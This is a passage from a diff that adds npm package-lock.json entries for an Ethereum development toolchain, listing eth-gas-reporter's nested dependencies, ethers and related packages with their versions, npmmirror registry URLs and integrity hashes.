"https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/chokidar": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.3.0.tgz", + "integrity": "sha512-dGmKLDdT3Gdl7fBUe8XK+gAtGmzy5Fn0XkkWQuYxGIgWVPPse2CxFA5mtrlD0TOHaHjEUqkWNyP1XdHoJES/4A==", + "dev": true, + "peer": true, + "dependencies": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.2.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.1.1" + } + }, + "node_modules/eth-gas-reporter/node_modules/cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "peer": true, + "dependencies": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/debug": { + "version": "3.2.6", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "peer": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eth-gas-reporter/node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/diff": { + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/eth-gas-reporter/node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eth-gas-reporter/node_modules/ethers": { + "version": "4.0.49", + "resolved": "https://registry.npmmirror.com/ethers/-/ethers-4.0.49.tgz", + "integrity": "sha512-kPltTvWiyu+OktYy1IStSO16i2e7cS9D9OxZ81q2UUaiNPVrm/RTcbxamCXF9VUSKzJIdJV68EAIhTEVBalRWg==", + "dev": true, + "peer": true, + "dependencies": { + "aes-js": "3.0.0", + "bn.js": "^4.11.9", + "elliptic": "6.5.4", + "hash.js": "1.1.3", + "js-sha3": "0.5.7", + "scrypt-js": "2.0.4", + "setimmediate": "1.0.4", + "uuid": "2.0.1", + "xmlhttprequest": "1.8.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "peer": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/flat": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "peer": true, + "dependencies": { + "is-buffer": "~2.0.3" + }, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/eth-gas-reporter/node_modules/fsevents": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "deprecated": "\"Please update to latest v2.3 or v2.2\"", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/glob": { + "version": "7.1.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/eth-gas-reporter/node_modules/hash.js": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/hash.js/-/hash.js-1.1.3.tgz", + "integrity": "sha512-/UETyP0W22QILqS+6HowevwhEFJ3MBJnwTf75Qob9Wz9t0DPuisL8kW8YZMK62dHAKE1c1p+gY1TtOLY+USEHA==", + "dev": true, + "peer": true, + "dependencies": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eth-gas-reporter/node_modules/js-sha3": { + "version": "0.5.7", + "resolved": "https://registry.npmmirror.com/js-sha3/-/js-sha3-0.5.7.tgz", + "integrity": "sha512-GII20kjaPX0zJ8wzkTbNDYMY7msuZcTWk8S5UOh6806Jq/wz1J8/bnr8uGU0DAUmYDjj2Mr4X1cW8v/GLYnR+g==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "peer": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/eth-gas-reporter/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "peer": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/log-symbols": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-3.0.0.tgz", + "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "dev": true, + "peer": true, + "dependencies": { + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eth-gas-reporter/node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/eth-gas-reporter/node_modules/mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "peer": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/eth-gas-reporter/node_modules/mocha": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-7.2.0.tgz", + "integrity": "sha512-O9CIypScywTVpNaRrCAgoUnJgozpIofjKUYmJhiCIJMiuYnLI6otcb1/kpW9/n/tJODHGZ7i8aLQoDVsMtOKQQ==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "chokidar": "3.3.0", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "3.0.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.5", + "ms": "2.1.1", + "node-environment-flags": "1.0.6", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha" + }, + "engines": { + "node": ">= 8.10.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "peer": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "peer": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/readdirp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.2.0.tgz", + "integrity": "sha512-crk4Qu3pmXwgxdSgGhgA/eXiJAPQiX4GMOZZMXnqKxHX7TaoL+3gQVo/WeuAiogr07DpnfjIMpXXa+PAIvwPGQ==", + "dev": true, + "peer": true, + "dependencies": { + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/eth-gas-reporter/node_modules/scrypt-js": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/scrypt-js/-/scrypt-js-2.0.4.tgz", + "integrity": "sha512-4KsaGcPnuhtCZQCxFxN3GVYIhKFPTdLd8PLC552XwbMndtD0cjRFAhDuuydXQ0h08ZfPgzqe6EKHozpuH74iDw==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/setimmediate": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.4.tgz", + "integrity": "sha512-/TjEmXQVEzdod/FFskf3o7oOAsGhHf2j1dZqRFbDzq4F3mvvxflIIi4Hd3bLQE9y/CpwqfSQam5JakI/mi3Pog==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "peer": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/uuid": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-2.0.1.tgz", + "integrity": "sha512-nWg9+Oa3qD2CQzHIP4qKUqwNfzKn8P0LtFhotaCTFchsV7ZfDhAybeip/HZVeMIpZi9JgY1E3nUlwaCmZT1sEg==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true, + "peer": true + }, + "node_modules/eth-gas-reporter/node_modules/yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "peer": true, + "dependencies": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "node_modules/eth-gas-reporter/node_modules/yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "peer": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "node_modules/eth-gas-reporter/node_modules/yargs-unparser": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "peer": true, + "dependencies": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/ethereum-bloom-filters": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.10.tgz", + "integrity": "sha512-rxJ5OFN3RwjQxDcFP2Z5+Q9ho4eIdEmSc2ht0fCu8Se9nbXjZ7/031uXoUYJ87KHCOdVeiUuwSnoS7hmYAGVHA==", + "dev": true, + "peer": true, + "dependencies": { + "js-sha3": "^0.8.0" + } + }, + "node_modules/ethereum-cryptography": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-1.1.2.tgz", + "integrity": "sha512-XDSJlg4BD+hq9N2FjvotwUET9Tfxpxc3kWGE2AqUG5vcbeunnbImVk3cj6e/xT3phdW21mE8R5IugU4fspQDcQ==", + "dev": true, + "dependencies": { + "@noble/hashes": "1.1.2", + "@noble/secp256k1": "1.6.3", + "@scure/bip32": "1.1.0", + "@scure/bip39": "1.1.0" + } + }, + "node_modules/ethereumjs-abi": { + "version": "0.6.8", + "resolved": "https://registry.npmmirror.com/ethereumjs-abi/-/ethereumjs-abi-0.6.8.tgz", + "integrity": "sha512-Tx0r/iXI6r+lRsdvkFDlut0N08jWMnKRZ6Gkq+Nmw75lZe4e6o3EkSnkaBP5NF6+m5PTGAr9JP43N3LyeoglsA==", + "dev": true, + "dependencies": { + "bn.js": "^4.11.8", + "ethereumjs-util": "^6.0.0" + } + }, + "node_modules/ethereumjs-abi/node_modules/bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + }, + "node_modules/ethereumjs-util": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz", + "integrity": "sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==", + "dev": true, + "dependencies": { + "@types/bn.js": "^4.11.3", + "bn.js": "^4.11.0", + "create-hash": "^1.1.2", + "elliptic": "^6.5.2", + "ethereum-cryptography": "^0.1.3", + "ethjs-util": "0.1.6", + "rlp": "^2.2.3" + } + }, + "node_modules/ethereumjs-util/node_modules/@types/bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/@types/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/ethereumjs-util/node_modules/bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + }, + "node_modules/ethereumjs-util/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/ethers": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/ethers/-/ethers-5.7.1.tgz", + "integrity": "sha512-5krze4dRLITX7FpU8J4WscXqADiKmyeNlylmmDLbS95DaZpBhDe2YSwRQwKXWNyXcox7a3gBgm/MkGXV1O1S/Q==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "5.7.0", + "@ethersproject/abstract-provider": "5.7.0", + "@ethersproject/abstract-signer": "5.7.0", + "@ethersproject/address": "5.7.0", + "@ethersproject/base64": "5.7.0", + "@ethersproject/basex": "5.7.0", + "@ethersproject/bignumber": "5.7.0", + "@ethersproject/bytes": "5.7.0", + "@ethersproject/constants": "5.7.0", + "@ethersproject/contracts": "5.7.0", + "@ethersproject/hash": "5.7.0", + "@ethersproject/hdnode": "5.7.0", + "@ethersproject/json-wallets": "5.7.0", + "@ethersproject/keccak256": "5.7.0", + "@ethersproject/logger": "5.7.0", + "@ethersproject/networks": "5.7.1", + "@ethersproject/pbkdf2": "5.7.0", + "@ethersproject/properties": "5.7.0", + "@ethersproject/providers": "5.7.1", + "@ethersproject/random": "5.7.0", + "@ethersproject/rlp": "5.7.0", + "@ethersproject/sha2": "5.7.0", + "@ethersproject/signing-key": "5.7.0", + "@ethersproject/solidity": "5.7.0", + "@ethersproject/strings": "5.7.0", + "@ethersproject/transactions": "5.7.0", + "@ethersproject/units": "5.7.0", + "@ethersproject/wallet": "5.7.0", + "@ethersproject/web": "5.7.1", + "@ethersproject/wordlists": "5.7.0" + } + }, + "node_modules/ethjs-unit": { + "version": "0.1.6", + "resolved": "https://registry.npmmirror.com/ethjs-unit/-/ethjs-unit-0.1.6.tgz", + "integrity": "sha512-/Sn9Y0oKl0uqQuvgFk/zQgR7aw1g36qX/jzSQ5lSwlO0GigPymk4eGQfeNTD03w1dPOqfz8V77Cy43jH56pagw==", + "dev": true, + "peer": true, + "dependencies": { + "bn.js": "4.11.6", + "number-to-bn": "1.7.0" + }, + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/ethjs-unit/node_modules/bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==", + "dev": true, + "peer": true + }, + "node_modules/ethjs-util": { + "version": "0.1.6", + "resolved": "https://registry.npmmirror.com/ethjs-util/-/ethjs-util-0.1.6.tgz", + "integrity": "sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==", + "dev": true, + "dependencies": { + "is-hex-prefixed": "1.0.0", + "strip-hex-prefix": "1.0.0" + }, + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/evp_bytestokey": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz", + "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", + "dev": true, + "dependencies": { + "md5.js": "^1.3.4", + "safe-buffer": "^5.1.1" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true, + "peer": true + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "peer": true + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "peer": true + }, + "node_modules/fast-glob": { + "version": "3.2.12", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.2.12.tgz", + "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==", + "dev": true, + "peer": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": 